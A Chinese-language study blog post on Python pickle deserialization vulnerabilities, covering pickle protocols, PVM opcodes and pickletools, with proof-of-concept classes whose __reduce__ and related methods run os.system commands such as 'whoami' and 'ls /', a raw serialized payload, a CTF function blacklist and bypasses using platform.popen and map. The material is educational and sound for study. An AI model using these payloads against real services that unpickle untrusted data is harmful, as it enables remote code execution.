python反序列化学习总结

前置知识

前言

现实需求

每种编程语言都有各自的数据类型,其中面向对象的编程语言还允许开发者自定义数据类型(如:自定义类),Python也是一样。很多时候我们会有这样的需求:

  • 把内存中的各种数据类型的数据通过网络传送给其它机器或客户端;
  • 把内存中的各种数据类型的数据保存到本地磁盘持久化;

数据格式

如果要将一个系统内的数据通过网络传输给其它系统或客户端,我们通常都需要先把这些数据转化为字符串或字节串,而且需要规定一种统一的数据格式才能让数据接收端正确解析并理解这些数据的含义。

XML 是早期被广泛使用的数据交换格式,在早期的系统集成论文中经常可以看到它的身影;如今大家使用更多的数据交换格式是JSON(JavaScript Object Notation),它是一种轻量级的数据交换格式。JSON相对于XML而言,更加加单、易于阅读和编写,同时也易于机器解析和生成。除此之外,我们也可以自定义内部使用的数据交换格式。

如果是想把数据持久化到本地磁盘,这部分数据通常只是供系统内部使用,因此数据转换协议以及转换后的数据格式也就不要求是标准、统一的,只要本系统内部能够正确识别即可。但是,系统内部的转换协议通常会随着编程语言版本的升级而发生变化(改进算法、提高效率),因此通常会涉及转换协议与编程语言的版本兼容问题,下面要介绍的pickle协议就是这样一个例子。

序列化/反序列化

将对象转换为可通过网络传输或可以存储到本地磁盘的数据格式(如:XML、JSON或特定格式的字节串)的过程称为序列化;反之,则称为反序列化。

严谨一点说,

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。

反序列化 (Deserialization)是将有序的二进制序列转换成某种对象(字典,列表等)的过程。

相关模块

本节要介绍的就是Python内置的几个用于进行数据序列化的模块:

模块名称 描述 提供的api
json 用于实现Python数据类型与通用(json)字符串之间的转换 dumps()、dump()、loads()、load()
pickle(cpickle) 用于实现Python数据类型与Python特定二进制格式之间的转换 dumps()、dump()、loads()、load()
shelve 专门用于将Python数据类型的数据持久化到磁盘,shelve是一个类似dict的对象,操作十分便捷 open()

Python 中有很多能进行序列化的模块,比如 Json、pickle/cPickle、ShelveMarshal

其中json模块应该是最为人所知的,它主要提供python字典,列表等数据类型和字符串之间互相转换的能力;而marshal和pickle模块则可以对python中的类和对象进行序列化和反序列化。

与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。

python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。在python反序列化安全这方面, pickle/cPickle 模块较常使用,下面我们主要以它为例进行讲解。

在 pickle 模块中 , 常用以下四个方法

  • pickle.dump(obj, file) : 将对象序列化后保存到文件
  • pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
  • pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
  • pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
    注意:file文件需要以 2 进制方式打开,如 wbrb

在 Python 中,一切皆对象,因此能使用 pickle 序列化的数据类型有很多

  • 内置常量(None、True 和 False等)
  • 整数、浮点数、复数
  • 字符串、字节串、字节数组(即str、byte、byte array)
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数定义的则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被封存

注意,文件、套接字、以及代码对象不能被序列化!

漏洞详解

漏洞成因

我们都知道,Java中的反序列化漏洞主要在于反序列化时会调用对象的readObject方法,在PHP中则有更多的魔术方法在反序列化等各种情况下调用。

而在python中,同样有几个内置方法会在对象被反序列化时调用。他们分别是:

1
2
3
4
__reduce__()  
__reduce_ex__()
__setstate__()
__getstate__()

具体的用法可以参考官方文档中的描述:

pickle — Python 对象序列化 — Python 3.15.0a0 文档

方法 主要用途 pickle 调用时机 典型场景
__reduce__ 控制整体序列化/还原 序列化、反序列化 复杂对象、特殊还原方式
__reduce_ex__ 同上,兼容协议版本 序列化、反序列化,但优先于 __reduce__ 针对不同 pickle 协议做兼容处理
__getstate__ 控制保存哪些属性 仅序列化时 部分属性不序列化、定制序列化状态
__setstate__ 控制如何还原属性 仅反序列化时 属性还原、补充默认/临时变量

参考PHP的反序列化,如果我们可以在类中构造这些魔术方法,并在方法中执行恶意代码。那么实例在反序列化时就会执行我们的代码了。

示例如下,

reduce:

注意:pickle.dumps(a) 调用 __reduce__,把你的对象变成一个“还原说明书”(在例子里,就是 (os.system, ("whoami",)));只有在 pickle.loads(ser_a) 时,pickle 才会按照这个“说明书”去执行 os.system("whoami"),以“还原”你的对象!

1
2
3
4
5
6
7
8
9
10
11
import pickle
import os

class Rce(object):
def __reduce__(self):
return (os.system,("whoami",)) # 只在反序列化时才会执行

a = Rce()
ser_a= pickle.dumps(a)
print(ser_a)
pickle.loads(ser_a)

reduce_ex:

1
2
3
4
5
6
7
8
9
10
11
import pickle
import os

class Rce(object):
def __reduce_ex__(self, protocol): # 注意必须有protocol参数
return (os.system, ("whoami", ))

a = Rce()
ser_a = pickle.dumps(a)
print(ser_a)
pickle.loads(ser_a)

setstate:

注意:__setstate__ 只有在反序列化对象有“状态”需要恢复时才会被调用;对于没有自定义 __getstate__,也没有实例属性的类

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os

class Rce(object):
def __init__(self, state): # 要有状态,随便一个变量名就行
self.state = state
def __setstate__(self, state):
os.system("whoami") # 不能return,必须直接执行

a = Rce('1') # 有状态
ser_a = pickle.dumps(a)
print(ser_a)
pickle.loads(ser_a)

getstate:

1
2
3
4
5
6
7
8
9
10
import pickle
import os

class Rce(object):
def __getstate__(self):
os.system("whoami") # 不能return,必须直接执行

a = Rce()
ser_a= pickle.dumps(a) # 序列化时就会执行
print(ser_a)

更加尴尬的是,python并没有对pickle模块做任何安全性的限制:他没有验证反序列化的类是否在应用中注册(pickle 在反序列化时不会校验目标类是否在应用中“注册”或“允许”反序列化),也没有类似Java中SerializeUID的存在(Python pickle 没有版本ID或签名等机制来校验“这个类是否就是我想反序列化的那个类”,更没有校验数据完整性或来源可靠性)。

这也就导致了,攻击者任意构造的对象都会被实现了pickle.load的接口进行反序列化并执行Magic function。

而且,pickle 支持自定义对象如何被序列化和反序列化,关键就是 __reduce__ 及其返回值。只要你自定义了 __reduce__,就可以“欺骗”pickle,让它用你指定的方式来还原对象。

大多数内建类型和新式类(继承自 object)都有一个默认的 __reduce__ 实现(由基类提供)。如果你没有自定义 __reduce__,pickle 会调用默认的实现,pickle 会把类名、模块名、属性等一一序列化。如果你自定义了 __reduce__,就是重写了默认的行为,这样的话,pickle只会把你__reduce__返回的内容记录下来。反序列化时,pickle会执行你__reduce__返回的“可调用对象+参数。

这是 pickle 的最大安全隐患之一,也是 RCE(远程代码执行)攻击的常用手段。

比如我们运行如下代码

1
2
3
4
5
6
7
8
import pickle
import os
class Rce(object):
name = 'matrix'
def __reduce__(self):
return (os.system,("whoami",))
a = Rce()
print(pickle.dumps(a))

结果如下:

可以发现这并没有反序列化类名、模块名、属性等,仅仅是反序列化了一个函数调用(通过system执行whoami)

1
b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'

然后执行

1
2
3
4
import pickle
str = b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'

pickle.loads(str)

然后代码执行成功。

综上,python没有对pickle模块做任何安全性的限制以及pickle 支持自定义对象如何被序列化和反序列化,我们就可以在反序列化时运行我们自定义的魔术方法,达到任意代码执行。

注意,**其他模块的load也可以触发pickle反序列化漏洞。**例如:numpy.load()先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞。

深入pickle

pickle数据流格式

pickle 所使用的数据格式仅可用于 Python。这样做的好处是没有外部标准给该格式强加限制,比如 JSON 或 XDR(不能表示共享指针)标准;但这也意味着非 Python 程序可能无法重新读取 pickle 封存的 Python 对象。

默认情况下,pickle 格式使用相对紧凑的二进制来存储。如果需要让文件更小,可以高效地 压缩 由 pickle 封存的数据。

当前共有 6 种不同的协议可用于封存操作。 使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • 第 2 版协议是在 Python 2.3 中引入的。 它为 新式类 提供了更高效的封存机制。 请参考 PEP 307 了解第 2 版协议带来的改进的相关信息。
  • v3 版协议是在 Python 3.0 中引入的。 它显式地支持 bytes 字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。它是Python 3.8使用的默认协议。有关第 4 版协议带来改进的信息,请参阅 PEP 3154
  • v5 版协议是在 Python 3.8 中加入的。 它增加了对带外数据的支持,并可加速带内数据处理。 请参阅 PEP 574 了解第 5 版协议所带来的改进的详情。

注意:

  • 默认协议:Python 3.8 及以上的默认协议是 v4(3.8发布时),但Python 3.8及以后新版本可能会提升默认协议,建议用 pickle.DEFAULT_PROTOCOL 查询。
  • 兼容性:高版本协议的 pickle 文件不能被低版本 Python 加载,反过来却通常可以。协议2是上下兼容的“最大公约数”,协议2设计时,就考虑了 py2/py3 之间的数据交换,但协议2也不是“绝对兼容”。
  • bytes 支持:v3 及以后支持 bytes 类型(纯二进制数据),区别于 str(文本字符串),v2 及以前不支持。

我们用代码理解一下上面的协议:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
class Test():
name = ''
def __init__(self, name='matrix'):
self.name = name
self.age = 20

a = Test()
print(a)
print('\n')
b = pickle.dumps(a)
print(b)

py2 (Python 2.7.18 )序列化后结果为:

这是协议 0(文本协议),也是 pickle 的最古老协议,内容为人类可读的文本

(输出的一大串字符实际上是一串PVM操作码, 可以在pickle.py中看到关于这些操作码的详解,下面会讲)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<__main__.Test instance at 0x79d62a658690>


(i__main__
Test
p0
(dp1
S'age'
p2
I20
sS'name'
p3
S'matrix'
p4
sb.

py3 (Python 3.10.12 )序列化后结果为:

是协议 4,内容是纯二进制字节流,不可读。

1
2
3
4
<__main__.Test object at 0x7b3e4ed90610>


b'\x80\x04\x955\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06matrix\x94\x8c\x03age\x94K\x14ub.'

我们在上面“相关模块”里提到了pickle的常用方法接口,这里可以结合上面的协议进一步理解:

将打包好的对象 obj 写入文件中,其中 protocol 为 pickling 的协议版本(上面6种)。

1
pickle.dump(obj, file, protocol=None, *, fix_imports=True)

将 obj 打包以后的对象作为 bytes 类型直接返回。

1
pickle.dumps(obj, protocol=None, *, fix_imports=True)

从 文件 中读取二进制字节流,将其反序列化为一个对象并返回。

1
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")

从 data 中读取二进制字节流,将其反序列化为一个对象并返回。

1
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")

但接口只是封装好之后的表象,下面我们深入理解一下

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。

Pickle Virtual Machine(简称 Pickle VM 或 PVM,在安全文献或分析讨论中可能会这样叫)不是官方 Python 的一部分,而是指:Pickle 协议本身实现的解释与执行机制,即 Python 解释器在处理 pickle 字节流(即 pickle 序列化后的二进制数据)时,内部有一个“虚拟机”或“解释器”,逐条解析 pickle 指令(opcodes),并按规则恢复对象。

它和 Python 的字节码虚拟机不一样,但思想类似:都是“从一个指令流,驱动状态机,动态恢复数据结构”。

这个“虚拟机”包括一个指令集(如 MARK、STOP、REDUCE、GLOBAL、TUPLE、DICT、LIST 等),和一个堆栈模型(数据在栈上进进出出,指令操控栈内容)。

  • 指令处理器

    从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。

  • stack

    由 Python 的 list 实现,被用来临时存储数据、参数以及对象。

  • memo

    由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

Pickle VM和 Python VM 的区别

  • Python VM(通常指的是 Python Virtual Machine)负责执行 Python 字节码(pyc)。
  • Pickle VM(非官方叫法)是指 Python 解释 pickle 数据流“指令集”和数据栈的那一套机制,只服务于 pickle 序列化与反序列化过程。

指令集(操作码) opcode

下面是指令集(或者称操作码)所对应的二进制比特流,以及相应的解释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
MARK           = b'('   # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " &lt; 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build &amp; push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build &amp; push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from &lt; 256 bytes
LONG4 = b'\x8b' # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " &lt; 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length &lt; 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly

pickle.loads(或者pickle.load)是一个供我们调用的接口,其底层实现是基于_Unpickler类。都是把各自输入得到的东西作为文件流,喂给_Unpickler类;然后调用_Unpickler.load()实现反序列化。

在反序列化过程中,_Unpickler(以下称为机器,其实就是上面提到的pickle虚拟机)维护了两个东西:栈区和存储区。结构如下(本图片仅为示意图): 

img

是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。这两个栈区的操作过程将在讨论MASK指令时解释。

存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西,但是说句老实话,大多数情况下我们并不需要这个存储区。

您可以想象,一台机器读取我们输入的字符串,然后操作自己内部维护的各种结构,最后吐出来一个结果——这就是我们莫得感情的_Unpickler。为了研究它,也为了看懂那些乱七八糟的字符串,我们需要一个有力的调试器。这就是pickletools

pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。

pickletools会将不可读二进制字节流转换成字符串,并进行解释。

以下代码为例

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import pickletools
class Test():
name = ''
def __init__(self, name='matrix'):
self.name = name
self.age = 20

a = Test()
b = pickle.dumps(a)
print(b)
print('\n')
pickletools.dis(b)

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
b'\x80\x04\x955\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06matrix\x94\x8c\x03age\x94K\x14ub.'


0: \x80 PROTO 4
2: \x95 FRAME 53
11: \x8c SHORT_BINUNICODE '__main__'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'Test'
28: \x94 MEMOIZE (as 1)
29: \x93 STACK_GLOBAL
30: \x94 MEMOIZE (as 2)
31: ) EMPTY_TUPLE
32: \x81 NEWOBJ
33: \x94 MEMOIZE (as 3)
34: } EMPTY_DICT
35: \x94 MEMOIZE (as 4)
36: ( MARK
37: \x8c SHORT_BINUNICODE 'name'
43: \x94 MEMOIZE (as 5)
44: \x8c SHORT_BINUNICODE 'matrix'
52: \x94 MEMOIZE (as 6)
53: \x8c SHORT_BINUNICODE 'age'
58: \x94 MEMOIZE (as 7)
59: K BININT1 20
61: u SETITEMS (MARK at 36)
62: b BUILD
63: . STOP
highest protocol among opcodes = 4

我们可以看到二进制字节流对应的操作码,这就是反汇编功能:解析那个字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。

整体流程总结

  1. 声明协议4,创建一个 frame。
  2. 写入模块和类名(__main__.Test),找到类对象。
  3. 用 NEWOBJ 创建新对象(调用 Test.__new__())。
  4. 创建空 dict。
  5. 依次压入属性名和值(name, matrix, age, 20)。
  6. SETITEMS 填充 dict。
  7. BUILD 设置对象的属性。
  8. STOP 结束。

接下来试一试优化功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import pickletools
class Test():
name = ''
def __init__(self, name='matrix'):
self.name = name
self.age = 20

a = Test()
b = pickle.dumps(a)
b = pickletools.optimize(b)
print(b)
print('\n')
pickletools.dis(b)

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
b'\x80\x04\x95-\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x04Test\x93)\x81}(\x8c\x04name\x8c\x06matrix\x8c\x03ageK\x14ub.'


0: \x80 PROTO 4
2: \x95 FRAME 45
11: \x8c SHORT_BINUNICODE '__main__'
21: \x8c SHORT_BINUNICODE 'Test'
27: \x93 STACK_GLOBAL
28: ) EMPTY_TUPLE
29: \x81 NEWOBJ
30: } EMPTY_DICT
31: ( MARK
32: \x8c SHORT_BINUNICODE 'name'
38: \x8c SHORT_BINUNICODE 'matrix'
46: \x8c SHORT_BINUNICODE 'age'
51: K BININT1 20
53: u SETITEMS (MARK at 31)
54: b BUILD
55: . STOP
highest protocol among opcodes = 4

利用pickletools,我们能很方便地看清楚每条语句的作用、检验我们手动构造出的字符串是否合法……总之,是我们调试的利器。现在手上有了工具,我们开始研究这个字符串是如何被pickle解读的吧。

想看操作码具体讲解的可以去看第三篇参考文章。

这里我们深入理解“漏洞成因”中__reduce__原理:

CTF竞赛对pickle的利用多数是在__reduce__方法上。它的指令码是R,干了这么一件事情:

  • 取当前栈的栈顶记为args,然后把它弹掉。
  • 取当前栈的栈顶记为f,然后把它弹掉。
  • args为参数,执行函数f,把结果压进当前栈。

  class的__reduce__方法,在pickle反序列化的时候会被执行。其底层的编码方法,就是利用了R指令码。 f要么返回字符串,要么返回一个tuple,后者对我们而言更有用。

  一种很流行的攻击思路是:利用 __reduce__ 构造恶意字符串,当这个字符串被反序列化的时候,__reduce__会被执行。网上已经有海量的文章谈论这种方法,所以我们在这里不过多讨论。只给出一个例子:正常的字符串反序列化后,得到一个Student对象。我们想构造一个字符串,它在反序列化的时候,执行ls /指令。那么我们只需要这样得到payload

1
2
3
4
5
6
7
8
import pickle
import os
class Rce(object):
name = 'matrix'
def __reduce__(self):
return (os.system,("ls /",))
a = Rce()
print(pickle.dumps(a))

那么,如何过滤掉reduce呢?由于__reduce__方法对应的操作码是R,只需要把操作码R过滤掉就行了。这个可以很方便地利用pickletools.genops来实现。

利用手法

绕过黑名单

绕过函数黑名单:奇技淫巧

有一种过滤方式:不禁止R指令码,但是对R执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python’s-Revenge。给了好长好长一串黑名单:

1
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

可惜platform.popen()不在名单里,它可以做到类似system的功能。这题死于黑名单有漏网之鱼。

另外,还有一个解(估计是出题人的预期解),那就是利用map来干这件事:

1
2
3
class Exploit(object):
def __reduce__(self):
return map,(os.system,["ls"])

总之,黑名单不可取。要禁止reduce这一套方法,最稳妥的方式是禁止掉R这个指令码。

参考文献

python:序列化与反序列化(json、pickle、shelve) - 秋寻草 - 博客园

python中的反序列化安全问题 - 知乎

一篇文章带你理解漏洞之 Python 反序列化漏洞 - Hexo

Python反序列化漏洞分析-先知社区

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎

最近碰到的 Python pickle 反序列化小总结-先知社区

pickle反序列化初探-先知社区


python反序列化学习总结
http://example.com/2025/07/13/30python反序列化学习总结/
作者
sangnigege
发布于
2025年7月13日
许可协议